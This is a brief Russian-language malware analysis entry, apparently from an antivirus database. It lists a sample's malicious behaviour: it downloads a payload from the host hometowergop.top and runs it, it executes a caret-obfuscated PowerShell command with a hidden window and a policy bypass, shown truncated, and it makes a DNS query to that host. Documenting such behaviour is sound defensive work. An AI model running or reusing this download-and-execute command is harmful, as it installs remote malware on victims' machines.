Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OW^eRShEl^L.EXe^ ^-EX^e^CUTIOn^p^OliCY byP^aS^s -^nOprof^ile ^-^wiNdoWs^Ty^LE Hi^d^DE^N (nEW^-^o^B^je^ct ^sysT^E^M.NEt^.^weBcLie^N^t^).D^owNLOa^Df^iL^E('http://hometower...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OW^eRShEl^L.EXe^ ^-EX^e^CUTIOn^p^OliCY byP^aS^s -^nOprof^ile ^-^wiNdoWs^Ty^LE Hi^d^DE^N (nEW^-^o^B^je^ct ^sysT^E^M.NEt^.^weBcLie^N^t^).D^owNLOa^Df^iL^E('http://hometower...' (со скрытым окном)
